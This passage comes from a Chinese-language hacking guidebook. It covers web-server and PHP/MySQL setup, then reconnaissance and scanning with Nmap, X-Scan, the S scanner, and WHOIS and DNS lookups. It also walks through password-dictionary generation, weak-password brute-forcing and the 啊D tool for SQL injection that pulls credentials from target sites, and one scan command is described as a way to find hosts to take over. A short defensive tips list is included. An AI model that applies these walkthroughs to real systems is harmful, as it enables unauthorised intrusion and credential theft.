步骤5：单击网页中的【English】按钮，则显示设置用户名称和登录密码的网页，如图1-181所示。在设置好用户名和登录密码后，单击【OK】按钮，即可弹出如图1-182所示的对话框，在其中输入刚才设置的用户名和密码。单击【确定】按钮进入服务器管理页面，如图1-183所示。

图　1-181　"Access Credentials"窗口

图　1-182　连接用户

图　1-183　"Abyss Web Server Console"窗口

步骤6：单击【Server Configuration】按钮，即可进入"Server Configuration"页面，如图1-184所示。再单击【Parameters】按钮，在其中设置服务器根目录、最大连接数、连接超时等选项，如图1-185所示。

图　1-184　"Server Configuration"窗口

图　1-185　"Parameters"窗口

步骤7：单击【OK】按钮返回“服务器管理”页面，在其中根据需要进行相应的设置，如图1-186所示。再单击【General】按钮，即可设置网站协议类型、默认端口、文档路径等选项，如图1-187所示。

图　1-186　"Hosts-Edit-Default Host On Port 80"窗口

图　1-187　"General"窗口

为使所架设的网站支持CGI（Common Gateway Interface，公共网关接口）程序，可从网络下载PHP 5.3.0 RC2 for Windows程序，将其安装到Windows系统中。PHP是一种CGI程序编写语言，内置了对文件上传、密码认证、Cookies操作、邮件收发、动态GIF生成等功能，可为很多数据库提供连接，包括Oracle、Sybase、Postgres、MySQL、Informix、Dbase、Solid、Access等，完全支持ODBC（Open Database Connectivity）接口，用户更换平台时无需变换PHP代码，可即拿即用。

具体的操作步骤如下。

步骤1：双击"PHP 5.3.0 RC2 for Windows"应用程序图标，即可进入“PHP 5.3.0 RC2 for Windows安装向导”主界面，如图1-188所示。

图　1-188　“PHP 5.3.0 RC2 for Windows安装向导”主界面

步骤2：单击【Next】按钮，即可打开【End-User License Agreement】对话框，在其中阅读许可协议并勾选"I accept the terms in the License Agreement"复选框，如图1-189所示。

图　1-189　【End-User License Agreement】对话框

步骤3：单击【Next】按钮，即可打开【Destination Folder】对话框，在其中指定安装路径，如图1-190所示。

图　1-190　【Destination Folder】对话框

步骤4：单击【Next】按钮，即可打开【Web Server Setup】对话框，在其中指定需要支持的服务器类型，如图1-191所示。单击【Next】按钮，即可打开【Choose Item to Install】对话框，在其中设置安装的组件，如图1-192所示。

图　1-191　【Web Server Setup】对话框

图　1-192　【Choose Item to Install】对话框

步骤5：单击【Next】按钮，即可打开【Ready to install PHP 5.3.0RC2】对话框，如图1-193所示。单击【Install】按钮，即可打开【Installing PHP 5.3.0RC2】对话框，程序开始安装并显示安装进度条，如图1-194所示。

图　1-193　【Ready to install PHP 5.3.0RC2】对话框

图　1-194　【Installing PHP 5.3.0RC2】对话框

步骤6：在程序安装完毕后，单击【Next】按钮，即可打开【Completed the PHP 5.3.0RC2】对话框。单击【Finish】按钮，即可完成整个安装过程，如图1-195所示。

图　1-195　【Completed the PHP 5.3.0RC2】对话框

大部分动态网站都需要SQL数据支持，这里使用MySQL For Windows V6.0 Alpha代替庞大的MS SQL数据。MySQL For Windows V6.0 Alpha是一个多线程结构化查询语言（SQL）数据库服务器。具体的操作步骤如下。

步骤1：双击MySQL For Windows V6.0 Alpha安装程序，即可进入“欢迎安装MySQL 6.0向导”界面，如图1-196所示。

图　1-196　“欢迎安装MySQL 6.0向导”界面

步骤2：单击【Next】按钮，即可打开【Setup Type】对话框，在其中选择一种安装的类型，这里选择“典型安装”类型，如图1-197所示。

图　1-197　【Setup Type】对话框

步骤3：单击【Next】按钮，按照向导提示即可完成安装。在完成安装后勾选"Configure the MySQL Server now"复选框，如图1-198所示。

图　1-198　完成安装

步骤4：单击【Finish】按钮，即可打开设置向导。单击【Next】按钮，用户可以选择设置方式，如图1-199所示。在其中选择“Detailed Configuration（简单设置）”模式，单击【Next】按钮，选取"Server Machine"选项，如图1-200所示。

图　1-199　选择设置方式

图　1-200　选择一种服务类型

步骤5：单击【Next】按钮，选取"Multifunctional Database"选项，如图1-201所示。单击【Next】按钮，在其中设置数据库文件保存的位置，如图1-202所示。

图　1-201　选择数据库用途

图　1-202　设置数据库文件保存的位置

步骤6：单击【Next】按钮，在其中设置服务器连接数量，如图1-203所示。单击【Next】按钮，在其中设置端口号，如图1-204所示。

图　1-203　设置服务器连接数量

图　1-204　设置端口号

步骤7：单击【Next】按钮，在其中设置默认字符，如图1-205所示。单击【Next】按钮，在其中设置MySQL服务名称及自动加载运行选项，如图1-206所示。

图　1-205　设置默认字符

图　1-206　设置MySQL服务名称及自动加载运行选项

步骤8：单击【Next】按钮，在其中设置系统管理员密码，如图1-207所示。单击【Next】按钮，再单击【Execute】按钮，即可完成设置，如图1-208所示。

图　1-207　设置系统管理员密码

图　1-208　成功完成设置

步骤9：单击【Finish】按钮，再重新打开Abyss Web Server的服务器管理页面，单击【Configure】按钮进入高级设置页面，如图1-209所示。单击【Scripting Parameters】按钮，勾选"Enable Scripts Execution"复选框并单击"Interpreters"项中的【Add】按钮，即可打开PHP文件添加页面，如图1-210所示。

图　1-209　高级设置页面

图　1-210　PHP文件添加页面

步骤10：设置"Interface"为"FastCGI（Local-Pipes）"，设置"Type"为"PHP Style"，在"Interpreter"输入php-cgi.exe所在路径。单击该页面中的【Add】按钮，则显示如图1-211所示的页面。在每个页面中均单击【OK】按钮，即可完成设置。

图　1-211　【Associated Extensions-Add】对话框

步骤11：添加PHP3、PHTML之类扩展的方法与此类似。添加ASP扩展时，可能需要安装ActiveHTML，并映射到"ahtml.exe"。

步骤12：使用记事本编辑器新建一个文件，输入"＜?phpinfo();?＞"，并命名为"test.php"保存到网站根目录下。打开IE浏览器，在地址栏中输入http://localhost/test.php，若能正常显示网页，则表示PHP安装成功。

4.安装网站插件

网站程序的安装一般来说都是大同小异，但对于某些网站还需要一些特殊组件的支持，需要在现有的网站程序中安装此类插件，其中最常见的是上传组件。上传组件很多，这里选择安装的是"ASPSmartUpload"上传组件。

上传组件ASPSmartUpload的安装方法如下。

步骤1：将网站插件下载并解压到某个文件夹中，如"H:\aspsmartupload"，复制其中的ASPSmartUploadUtil.dll文件到Windows\system32文件夹中。

步骤2：在【运行】对话框中输入"regsvr32 H:\aspsmartupload\aspsmartupload.dll"命令，单击【确定】按钮，即可注册成功，如图1-212所示。

图　1-212　【RegSvr32】对话框

提示　网站可能还需再安装一些插件，如“Scripting.FileSystem Object（FSO文本文件读写组件）”等，才能正常执行所有的功能，同时为网站增加更多的功能，如动网论坛中的游戏系统。其安装方法都差不多，可参照此操作。

第8招　踩点与侦察范围

黑客在攻击其他计算机之前，先要对攻击目标进行扫描，查找出计算机系统的弱点与漏洞，从而根据相应的弱点与漏洞采取适当的攻击方法与策略。踩点与侦察的目的就是为攻击确定目标，为下一步真正的攻击做好准备。

1.实施踩点的具体流程

黑客在进行攻击之前要先探测到对方计算机的存在，使用软件探测出计算机安全等情况，再在使用Tracert命令侦察对方的网络情况。实施踩点的具体流程如下。

（1）探测到对方存在

确定对方主机存在最简单的方法就是使用ping命令，如在命令提示符窗口中输入"ping 192.168.0.12"，如图1-213所示。从运行结果来看，如果ping通了，就会从该IP地址返回byte、time和TTL的值，表示这台计算机一定在网络中，这样黑客就具备入侵的目标了。其中time时间越短，则表示响应的时间就越快。如果ping不通，则会返回"Request time out"提示，表示对方的计算机不在网络上或对方计算机存在，或设置了ICMP数据包过滤，如图1-214所示。

图　1-213　用ping命令显示目标主机的IP地址

图　1-214　ping不通IP地址

另外，还可以使用SuperScan扫描软件，可以快速检测出目标主机是否存在以及其开放的端口和操作系统类型等。如图1-215所示即为SuperScan主窗口。在“扫描”选项卡的“IP地址”栏目中输入起始IP和结束IP，单击【扫描】按钮，即可进行扫描。

图　1-215　【SuperScan】主窗口

在扫描完毕之后，单击【查看HTML报告】按钮，即可打开HTML格式的扫描报告，从中可以看到被扫描到的主机详细信息，如图1-216所示。

图　1-216　SuperScan扫描结果

（2）查询对方安全情况

在黑客已经确定目标主机的IP地址是否存在以及操作系统之后，还需要继续查看目标主机的安全状态，从而确定哪些漏洞可以利用。GFI LANGuard Network Security Scanner（N.S.S）是一个网络安全扫描器，拥有网络安全扫描和补丁管理解决方案，保护用户的网络免遭攻击。

使用GFI LANGuard N.S.S查看计算机安全情况的具体操作步骤如下。

步骤1：下载安装GFI LANGuard N.S.S之后，即可打开【GFI LANGuard N.S.S】主窗口，在"Scam Target"文本框中输入要扫描的IP地址，在"Profile"文本框中选择"FullScan"选项，如图1-217所示。

图　1-217　【GFI LANGuard N.S.S】主窗口

步骤2：单击【Scan】按钮，即可开始进行扫描，等扫描结束后将会出现【Scan completed successfully！】提示框，如图1-218所示。

图　1-218　【Scan completed successfully】提示框

步骤3：单击【OK】按钮，即可看到扫描结果，其中包括目标主机的基本信息，开放的端口以及开启的服务等信息，如图1-219所示。

图　1-219　扫描结果

步骤4：如果想查看扫描出的信息，则单击扫描结果中相应的选项，如选择"Open TCP Ports"选项，即可看到扫描的TCP端口，如图1-220所示。

图　1-220　查看开放的TCP端口

（3）查询WHOIS

WHOIS是一个用来查询已被注册域名详细信息的数据库（如域名所有人、域名注册商、域名注册日期和过期日期等）。通过WHOIS来实现对域名注册信息查询（WHOIS Database）。

黑客可以通过如下几种方法来查看域名注册信息。

1）中国互联网信息中心网页上查询。中国互联网信息中心是非常权威的机构，其中记录着所有以.cn为结尾的域名注册信息，其查询页面如图1-221所示。在其中的“查询”文本框中输入要查询的中文域名，并选择“中文域名”单选按钮之后，单击【查看】按钮，即可打开【输入验证码】窗口，如图1-222所示。

图　1-221　中国互联网信息中心的查询页面

图　1-222　输入验证码窗口

在输入验证码后单击【查看】按钮，即可看到要查询域名的详细信息，如图1-223所示。

图　1-223　查看域名的信息

2）中国万网。中国万网是中国最大的域名和网站托管服务提供商，它提供.cn的域名注册信息，而且还可以查询.com等域名信息，如图1-224所示即为中国万网首页。在“域名”文本框中输入要查询的域名后，单击【查询】按钮，即可看到相关域名信息，如图1-225所示。

图　1-224　中国万网首页

图　1-225　查询的域名信息

3）利用NetAlyzer软件进行查询。NetAlyzer软件用于收集网络信息、跟踪路由、收集和管理WHOIS查询的工具。在安装NetAlyzer软件之后，即可打开【NetAlyzer】主窗口，如图1-226所示。单击查询域名按钮【Query domain……】，即可打开【Whois】对话框，如图1-227所示。在"Please enter domain name"文本框中输入要查询的域名，单击【OK】按钮，即可看到扫描结果，从扫描结果中可查看域名的详细信息，如图1-228所示。

图　1-226　【NetAlyzer】主窗口

图　1-227　【Whois】对话框

图　1-228　要查询域名的详细信息

（4）查询DNS

DNS（Domain Name System，域名系统）通过用户友好的名称查找计算机和服务。当用户在应用程序中输入DNS名称时，DNS服务可将此名称解析为与之相关的其他信息，如IP地址。因为，在上网时输入的网址，通过域名解析系统解析找到相对应的IP地址才能上网。其实，域名的最终指向是IP。可以使用Windows系统自带的nslookup工具查询DNS中的各种数据，下面介绍两种使用nslookup查看DNS的方法。

1）使用命令行方式。主要用来查询域名对方的IP地址，也即查询DNS的记录，通过该记录黑客可以查询该域名的主机所存放的服务器。

其命令格式为：nslookup域名，如要查看www.baidu.com对应的IP信息，可在【命令提示符】窗口中输入"nslookup www.baidu.com"命令，如图1-229所示。在其中可以看到"Name"和"Address"行分别对应域名和IP地址，而最后一行显示的是目标域名和注明别名。

图　1-229　使用nslookup命令行方式查询DNS

2）交互式方式。可以使用nslookup的交互模式对域名进行查询，具体的操作步骤如下。

步骤1：在【命令提示符】窗口中，输入"nslookup"命令，即可查询域名信息，其显示结果如图1-230所示。

图　1-230　输入"nslookup"命令

步骤2：再运行"set type=mx"命令，其运行结果如图1-231所示。

图　1-231　输入"set type"命令

步骤3：再在其中输入要查看的网址（去掉www），如"baidu.com"命令，即可看到百度网站的相关信息，如图1-232所示。

图　1-232　查询DNS的MX关联记录

（5）网络侦察

要想对目标主机实施攻击，还需要了解目标主机的网络机构，只有弄清楚目标网络中防火墙、服务器地址之后，才可进行第一步入侵。可以使用tracert命令查看目标主机的网络结构。tracert命令用来显示数据包到达目标主机所经过的路径并显示到达每个结点的时间。

tracert命令功能同ping类似，但所获得的信息要比ping命令详细得多，它把数据包所走的全部路径、结点的IP以及花费的时间都显示出来。该命令比较适合于大型网络。

tracert命令的格式：tracert IP地址或主机名。要想了解自己计算机与目标主机www.bai du.com之间的详细路径传递信息，就可以在“命令提示符”窗口中输入"tracert www.baidu.com"命令进行查看，如图1-233所示。

图　1-233　使用tracert命令查看网络结构

2.网络侦察与快速确定漏洞范围

为尽快确定目标主机漏洞的大致范围，黑客往往采用综合扫描器对某个IP段中的主机进行扫描，还可快速确定漏洞的大体范围，包括端口扫描、弱口令扫描、系统漏洞扫描以及主机服务器扫描等。X-Scan采用多线程方式对指定IP地址段（或单机）进行安全漏洞检测，支持插件功能，提供了图形界面和命令行两种操作方式。X-Scan的扫描结果保存在/log/目录中，index_*.htm为扫描结果索引文件。使用X-Scan扫描漏洞的具体操作步骤如下。

步骤1：双击X-Scan_gui主应用程序，即可打开并运行X-Scan主窗口，在其中可以浏览此软件的功能简介和常见问题解答等信息，如图1-234所示。

图　1-234　【X-Scan】主窗口

步骤2：单击工具栏上的“扫描参数”按钮，即可打开【扫描参数】对话框。

步骤3：选择扫描模块。展开“全局设置”选项之后，选取其中的“扫描模块”选项，则可选择扫描过程中需要扫描的模块。在选择扫描模块时，还可在其右侧窗格中查看该模块的相关说明，如图1-235所示。

图　1-235　选择扫描模块

步骤4：选择“检测范围”选项，即可设置扫描IP地址的范围。在“指定IP范围”文本框中可输入需要扫描的IP地址或IP地址段，如图1-236所示。

图　1-236　确定扫描范围

步骤5：字典文件设置的好坏，将直接影响扫描结果，可以在“插件设置”选项中设置字典文件，也可以重新加载自己制作的字典文件，以实现获得更多弱口令，如图1-237所示。

图　1-237　设置字典文件

步骤6：在【X-Scan】主窗口中单击【扫描】按钮，即可根据自己的设置进行扫描，如图1-238所示。在扫描完毕之后，将会显示出相应的扫描报告信息，通过扫描报告可以看出目标主机存在哪些漏洞，如图1-239所示。

图　1-238　用X-Scan进行扫描

图　1-239　X-Scan扫描报告

3.防御网络侦察与堵塞漏洞

由于黑客在攻击一台计算机之前，必须先对该计算机进行扫描，并收集相关信息，所以，用户只要能够阻断黑客对自己计算机的扫描，就能有效地防止黑客的攻击。

如何才能防止黑客的扫描呢？一般来说需要注意以下事项：

安装防病毒软件及防火墙，并经常及时升级病毒库，防止有破坏性程序的注入。

在网上购物时，不要因为任何原因而允许自己的信用卡资料被商家储存。

密码设定最好不要使用自己名字的拼音或生日数字的组合，最好使用无意义的数字和字母组合，并且位数尽量多一些，而且还要经常更换，防止黑客破解。

只向有安全保证的网站发送信用卡号码，留意寻找浏览器底部显示的挂锁图标或钥匙形图标。

对不同的网站和程序要使用不同的密码，防止黑客的破译。

在使用QQ、MSN这些聊天工具时，不要轻易同意让陌生人把自己加为好友。

使用最新版本的浏览器软件、电子邮件软件以及其他程序。

使用可对Cookie进行控制的安全程序，因为Cookie有时会泄漏用户的一些个人隐私。

不要轻易打开来历不明的电子邮件或软件，它很可能包含后门程序或其他有害程序。

经常查找自己计算机中存在的漏洞，并下载安装这些漏洞补丁，防止黑客利用这些漏洞进行攻击。

第2章
扫描与反扫描技术

重点提示

♂扫描器X-Scan查本机隐患

♂用流光扫描主机漏洞

♂用MBSA检测Windows系统

♂深入浅出RPC漏洞扫描

♂用ProtectX防御扫描器追踪

♂用NC监控与扫描

本章精粹：

安全扫描工具是把双刃剑，黑客利用它可以扫描别人的系统，而系统管理员使用它却可以维护系统的安全。本章主要介绍一些扫描工具的使用，以及如何使用这些工具防范黑客的入侵，从而提高系统的安全性。

扫描工具和嗅探工具是黑客使用最多、使用最频繁的工具，只有充分掌握了被攻击主机的相关信息，下一步操作才能得心应手。当然，合理使用扫描和嗅探工具，也可以把系统配置得“滴水不漏”。

第9招　确定扫描目标

通过踩点与侦察，可以锁定一些大致的目标范围，要想具体到某台远程主机，还需要经过一番操作才能确定扫描目标。

1.确定目标主机IP地址

只有设置好网关的IP地址，TCP/IP协议才能实现不同网络之间的相互通信。网关IP地址是具有路由功能的设备的IP地址，具有路由功能的设备有路由器、启用了路由协议的服务器（实质上相当于一台路由器）、代理服务器（也相当于一台路由器）。

只要计算机连接到互联网上，就会有一个IP地址，查询本机IP地址的方法如下。

步骤1：在“命令提示符”窗口中运行"ipconfig"命令，在运行结果中可以看到本机IP地址、网关地址等信息，如图2-1所示。在“命令提示符”窗口中运行"netstat-n"命令，即可查看本机的IP地址，如图2-2所示。

图　2-1　使用"ipconfig"命令查看本机IP地址

图　2-2　使用"netstat-n"命令查看本机IP地址

步骤2：如果想攻击某个网站，也需要先获得该网站的IP地址，获取网站IP地址可使用ping命令。在“命令提示符”窗口中运行"ping www.baidu.com"命令，即可查看百度网站对应的IP地址，如图2-3所示。

图　2-3　使用ping命令查看网站的IP地址信息

步骤3：要想得到网站的详细信息，在【命令提示符】窗口中运行"nslookup www.qq.com"命令，即可查看新浪网详细信息，其中第1个Address中IP地址就是本机所在域的DNS服务器，第2个Addresses是www.qq.com所使用的Web服务器群的IP地址，如图2-4所示。

图　2-4　使用nslookup命令查看网站的详细信息

2.确定可能开放的端口和服务

在默认情况下，有很多不安全或没有作用的端口是开启的，如Telnet服务的23端口、FTP服务的21端口、SMTP服务的25端口等。攻击者可以使用扫描工具对目标主机进行扫描，可以获得目标计算机打开的端口情况，还可了解目标计算机提供了哪些服务。

在“命令提示符”窗口中输入"netstat-a-n"命令，即可查看本机开启的端口，在运行结果中可以看到以数字形式显示的TCP和UDP连接的端口号及其状态，如图2-5所示。

图　2-5　查看本机查看的端口

Nmap是一款非常流行的端口扫描软件，下面以For Windows版本为例讲述Nmap是如何扫描端口的。利用Nmap扫描器对端口进行扫描的具体步骤如下。

步骤1：将网上下载的"nmap-4.52-win32.rar"解压缩后，可得到"nmap-4.53"文件夹，为了便于操作先将其放到C盘的根目录下，如图2-6所示。

图　2-6　【nmap-4.53】文件夹

步骤2：在“MS-DOS命令符”窗口中输入"cd C:\setup\nmap-4.53"命令，即可打开Nmap的安装目录，如图2-7所示。

图　2-7　打开Nmap安装目录

Nmap是基于命令格式的扫描软件，可使用Nmap命令进行端口扫描。Nmap对端口的扫描有三种方式。

1）TCP connect()端口扫描。即全连接扫描，使用了"-sT"参数，只需在命令提示符下键入"Nmap-sT 192.168.0.88"命令，即可看到TCP全连接扫描的端口，如图2-8所示。

图　2-8　TCPconnect()端口扫描结果

2）TCP同步端口扫描。该方式为半连接扫描，也叫隐蔽扫描。采用了"-sS"参数，在命令提示符下键入"Nmap-sS 192.168.0.88"命令，即可看到TCP半连接扫描的端口，如图2-9所示。

图　2-9　TCP同步端口扫描结果

3）UDP端口扫描。该方式主要采用"-sU"参数，在命令提示符下键入"Nmap-sU 192.168.0.88"命令，即可看到扫描的UDP端口，如图2-10所示。

图　2-10　UDP端口扫描结果

Nmap还支持丰富、灵活的命令参数，比如要扫描一个IP地址段的UDP端口，还可以在命令提示符下键入"Nmap-sU 192.168.0.1-255"命令，如图2-11所示。

图　2-11　IP地址段扫描结果

3.常见端口扫描工具

入侵者常常利用一些专门的扫描工具对目标主机的端口进行扫描，目前可以用来扫描端口的扫描工具很多，下面就介绍3种常见的扫描工具。

（1）FreePortScanner

FreePortScanner是一款端口扫描工具，用户可以快速扫描全部端口，也可以制定扫描范围。使用FreePortScanner进行端口扫描的具体操作步骤如下。

步骤1：下载FreePortScanner并打开其窗口，在"IP"文本框中输入目标主机的IP地址，再勾选"Show Closed Ports"复选框，如图2-12所示。

图　2-12　【FreePortScanner】主窗口

步骤2：单击【Scan】按钮，即可扫描到目标主机的全部端口，其中绿色标记是开放的端口，如图2-13所示。

图　2-13　扫描目标主机所有的端口

步骤3：使用FreePortScanner可以只对目标主机开启的端口进行扫描，在"IP"文本框中输入要扫描的"IP"地址之后，再取消勾选"Show Closed Ports"复选框。

步骤4：单击【Scan】按钮，在扫描完毕之后，即可显示出扫描结果，从扫描结果中可以看到目标主机开启的端口，如图2-14所示。

图　2-14　只扫描开启的端口

（2）ScanPort

ScanPort软件不但可以用于网络扫描，同时还可以探测指定IP及端口，速度比传统软件快，且支持用户自设IP端口又增加了其灵活性。具体的使用方法如下。

步骤1：运行ScanPort主程序，即可打开"ScanPort"主窗口，在其中设置起始IP地址、结束IP地址以及要扫描的端口号，如图2-15所示。

图　2-15　【ScanPort】端口

步骤2：单击【扫描】按钮，即可进行扫描，从扫描结果中可以看出IP地址段中计算机开启的端口，如图2-16所示。

图　2-16　扫描后的结果

（3）S扫描器

S扫描器是一款命令行下高速扫描利器，用这工具的好处就在于其扫描速度非常快。究竟如何使用S扫描器？下面将一一讲述。

1）命令格式。

s.exe syn ip1 ip2端口号/save。

s.exe tcp ip1 ip2端口号线程数/save。

2）用法。

Scanner TCP/SYN StartIP[EndIP]Ports[Threads][/Banner][/Save].

3）参数说明。TCP/SYN-＞TCP方式扫描或SYN方式扫描（SYN扫描需要在win 2k或以上系统才行），SYN扫描对本机无效。

StartIP：起始扫描的IP。

EndIP：结束扫描的IP，可选项，如果这一项没有，就只是对单个IP扫描。

Ports：可以是单个端口，连续的一段端口或非连续的端口。

Threads：使用最大线程数去扫描（SYN扫描不需要加这一项），不能超过1024线程。

/Banner：扫描端口时一并将Banner显示出来，这一选项只对TCP扫描有效。

/Save：将结果写入当前目录的Result.txt文件中去。

下面举例演示S扫描器的几个主要作用。

示例1：下载并运行S扫描器，在命令提示符下键入"STCP 192.168.0.1 192.168.0.45 80 512"命令，即可实现TCP扫描从192.168.0.1到192.168.0.45这段IP中的80端口，最大并发线程是512，如图2-17所示。

图　2-17　TCP扫描网段IP端口

示例2：下载并运行S扫描器，在命令提示符下键入"STCP 192.168.0.1 192.168.0.45 21，5631 512/banner"命令，即可实现TCP扫描从192.168.0.1到192.168.0.45这段IP中的21和5631端口，最大并发线程是512并显示Banner，如图2-18所示。

图　2-18　用TCP扫描端口并显示Banner

示例3：下载并运行S扫描器，在命令提示符下键入"STCP 192.168.0.1 192.168.0.45 1-200 512"命令，即可实现TCP扫描从192.168.0.1到192.168.0.45这段IP中1到200端口，最大并发线程是512，如图2-19所示。

图　2-19　用TCP扫描1-200之间的端口

示例4：下载并运行S扫描器，在命令提示符下键入"STCP 192.168.0.13 1-200 512"命令，即可实现TCP扫描192.168.0.13这段IP中1到200端口，最大并发线程是512，如图2-20所示。

图　2-20　用TCP扫描本机IP端口

示例5：下载并运行S扫描器，在命令提示符下键入"SSYN 192.168.0.13 1-65535/save"命令，即SYN扫描192.168.0.13段IP中的1～65535端口，将结果写入Result.txt文本文档。扫描结束后Result.txt文本文档及所有扫描内容都存放在S扫描器所在目录，如图2-21所示。

图　2-21　用SYN扫描1-65535之间的端口

示例6：下载并运行S扫描器，在命令提示符下键入"SSYN 192.168.0.1 192.168.0.20 21/save"命令，即SYN扫描192.168.0.1到192.168.0.20这IP段中的21端口，将结果写入Result.txt文本文档中。由于这条命令是用来专门找肉鸡的，因此，将会扫描一个IP段有没有开3389端口或1433端口的，如图2-22所示。

图　2-22　用SYN扫描网段端口

第10招　扫描服务与端口

黑客通过端口扫描器可在系统中寻找开放的端口和正在运行的服务，从而知道目标主机操作系统的详细信息。目前网络中大量主机/服务器的口令为空或口令过于简单，黑客只需要利用专用扫描器，即可轻松控制这种弱口令的主机。

1.黑客字典与弱口令扫描工具

所谓黑客字典就是装有各种密码的破解工具，通常情况下，只要知道本地文件的内容，就可以运用黑客字典将其破解。当然，黑客字典文件的好坏，直接关系到黑客是否能够破解到对方的密码，以及破解出密码花费多少时间。

（1）小榕黑客字典

小榕黑客字典是一款功能强大，可根据用户需要任意设定包含字符、字符串的长度等内容的黑客字典生成器。其具体操作方法如下。

步骤1：将“小榕黑客字典”软件解压缩后，双击"UltraDict.exe"图标，即可弹出【字典设置】对话框，如图2-23所示。

图　2-23　设置字典选项

步骤2：在“设置”标签中可选择生成字符串包含的字母或数字及其范围，在“选项”标签中可根据特殊需要选取相应的选项，如图2-24所示。

图　2-24　选项设置

步骤3：在“高级选项”标签中可将字母、数字或字符位置进行固定，如图2-25所示。

图　2-25　设置高级选项

步骤4：在“文件存放位置”标签中指定字典文件保存位置之后，单击【确定】按钮，则显示所设置的字典文件属性，如图2-26所示。单击【开始】按钮，系统开始生成字典，并显示生成字典的进度，如图2-27所示。

图　2-26　高级字典属性

图　2-27　生成字典进度

（2）弱口令扫描器Tomcat

当字典文件创建好后，就可以使用弱口令扫描器，加载自己编辑的字典文件进行弱口令扫描了。Tomcat可以根据需要加载用户名称字典、密码字典，对一定IP范围内的主机进行弱口令扫描。具体的操作方法如下。

步骤1：将下载的压缩包解压后双击"Apache Tomcat.exe"图标，即可进入其操作界面，如图2-28所示。

图　2-28　Tomcat操作界面

步骤2：单击【设置】按钮，再分别单击“用户名”和“密码”列表框下方的【导入】按钮，即可导入编辑好的黑客字典，如图2-29所示。

图　2-29　导入黑客字典

步骤3：单击【信息】按钮，在其中输入需要扫描的IP地址范围。单击【添加】按钮，即可将其添加地址列表中。单击【开始】按钮，即可开始扫描。若发现活动主机，即可对主机的用户名和密码进行破解。

2.注入点扫描实例

啊D注射工具是一款功能非常强大的注射工具，集旁注检测、SQL猜解决、密码破解、数据库管理等功能于一身。实现啊D注入攻击的一般操作步骤如下。

步骤1：下载并解压啊D注入工具包，即可打开解压后的“啊D注入工具文件夹”窗口，如图2-30所示。双击“啊D注入工具”应用程序图标，即可进入“啊D注入工具”主窗口，如图2-31所示。

图　2-30　“啊D注入工具文件夹”窗口

图　2-31　“啊D注入工具”主窗口

步骤2：在“注入检测”选项栏目中单击【扫描注入点】按钮，即可打开“扫描注入点”页面，在“注入连接”地址栏中输入注入的网站地址。单击按钮，即可打开该网站并扫描注入点个数，如图2-32所示。

图　2-32　“扫描注入点”页面

步骤3：若单击“注入连接”右侧的按钮，在其中对Cookies进行修改，如图2-33所示。根据需要选中其中的一个注入点，单击“注入检测”选项栏下方的【SQL注入检测】按钮，即可进入“SQL注入检测”页面。

图　2-33　对Cookies进行修改

步骤4：单击【检测】按钮等待检测完成后，单击【检测表段】按钮，即可检测出相应表段。再任意选择其中一个表段并单击右边【检测字段】按钮，即可检测出该表对应的字段。选择该表中的所有字段，单击【检测内容】按钮，即可开始检测内容，如图2-34所示。

图　2-34　“SQL注入检测”页面

步骤5：稍等一段时间，待内容检测完毕后，在“检测内容”下方的列表框中，即可查看详细的检测内容（包括：用户名、密码、编号等）。显示结果如图2-35所示。

图　2-35　查看详细的检测内容

步骤6：单击“注入检测”选项栏目下方的【管理入口检测】按钮，即可打开“管理入口检测”页面，在“网站地址”栏目中输入需要管理入口检测的地址，单击【检测管理入口】按钮，等待几秒钟后，即可在下方列表中显示该网站的所有登录入口点，如图2-36所示。

图　2-36　“管理入口检测”页面

第11招　扫描器X-scan查本机隐患

X-Scan是由安全焦点开发的一个功能强大的扫描工具。它采用多线程方式对指定IP地址段（或单机）进行安全漏洞检测，支持插件功能。

1.用X-scan查看本机IP地址

利用X-Scan扫描器来查看本机的IP地址的方法很简单，需要先指定扫描的IP范围。由于是本机探测，只需要在“命令提示符”窗口中命令提示符下输入"IPConfig"命令，即可查知本机当前IP地址，如图2-37所示。

图　2-37　查看本机IP地址

2.添加IP地址

X-Scan的使用极其简单，解压缩后双击X-Scan_gui应用程序，即可打开并运行X-Scan主窗口，在其中可浏览此软件的功能简介、常见问题解答等信息，如图2-38所示。

图　2-38　X-Scan主窗口

在得到本机的IP地址后，则需要将IP地址添加到X-Scan扫描器中，具体操作步骤如下。

步骤1：在X-Scan主窗口中，选择【设置】→【扫描参数】菜单项或单击工具栏上的“扫描参数”按钮，即可打开【扫描参数】对话框，如图2-39所示。

图　2-39　设置扫描IP范围

步骤2：选择“检测范围”选项，即可设置扫描IP地址的范围。在“指定IP范围”文本框中，可输入需要扫描的IP地址（如192.168.0.1）、IP地址段（如192168.0.1～192.168.0.88），还能增加子网掩码（如192.168.0.1/24）等。若不知道输入的格式，则可以单击该文本框右侧的【示例】按钮，在弹出的【示例】对话框中查看输入的有效格式。

步骤3：除手动输入扫描范围外，还可通过选择“从文件中获取主机列表”选项，从存储有IP地址的文本文件中读取待检测的主机地址。在文本文件中，每一行可包含独立IP或域名，也可以包含以“-”和“,”分隔的IP范围。

步骤4：在IP地址输入完毕后，可以发现扫描结束后自动生成的“报告文件”项中的文件名也在发生相应的变化。通常这个文件名不必手工修改，只需记住这个文件将会保存在X-Scan目录的LOG目录下。设置完毕后，单击【确定】按钮，即可关闭对话框。

3.开始扫描

在设置好扫描参数之后，就可以开始扫描了。单击X-Scan工具栏上的【开始扫描】按钮，即可按设置条件进行扫描，同时显示扫描进程和扫描所得到的信息（可通过单击右下方窗格中的“普通信息”、“漏洞信息”及“错误信息”选项卡，查看所得到的相关信息），如图2-40所示。在扫描完成后将自动生成扫描报告并显示出来，其中显示了活动主机IP地址、存在的系统漏洞和其他安全隐患，同时还提出了安全隐患的解决方案，如图2-41所示。

图　2-40　扫描进度

图　2-41　扫描报告

X-Scan扫描工具不仅可扫描目标计算机的开放端口及存在的安全隐患，而且还具有目标计算机物理地址查询、检测本地计算机网络信息和Ping目标计算机等功能，如图2-42所示。

图　2-42　X-Scan的其他功能

当所有选项都设置完毕之后，如果还想将来使用相同的设置进行扫描，则可以对这次的设置进行保存。在【扫描参数】对话框中单击【另存】按钮，即可将自己的设置保存到系统中。当再次使用时只需单击【载入】按钮，选择已保存的文件即可。

4.高级设置

X-Scan在缺省状态下效果往往不会发挥到最佳状态，这个时候就需要进行一些高级设置来让X-Scan变得强大起来。高级设置需要根据实际情况来做出相应的设定，否则X-Scan也许会因为一些“高级设置”而变得脆弱不堪。

（1）设置扫描模块

展开“全局设置”选项之后，选取其中的“扫描模块”选项，则可选择扫描过程中需要扫描的模块，在选择扫描模块时还可在其右侧窗格中查看该模块的相关说明，如图2-43所示。

图　2-43　选择扫描模块

（2）设置扫描线程

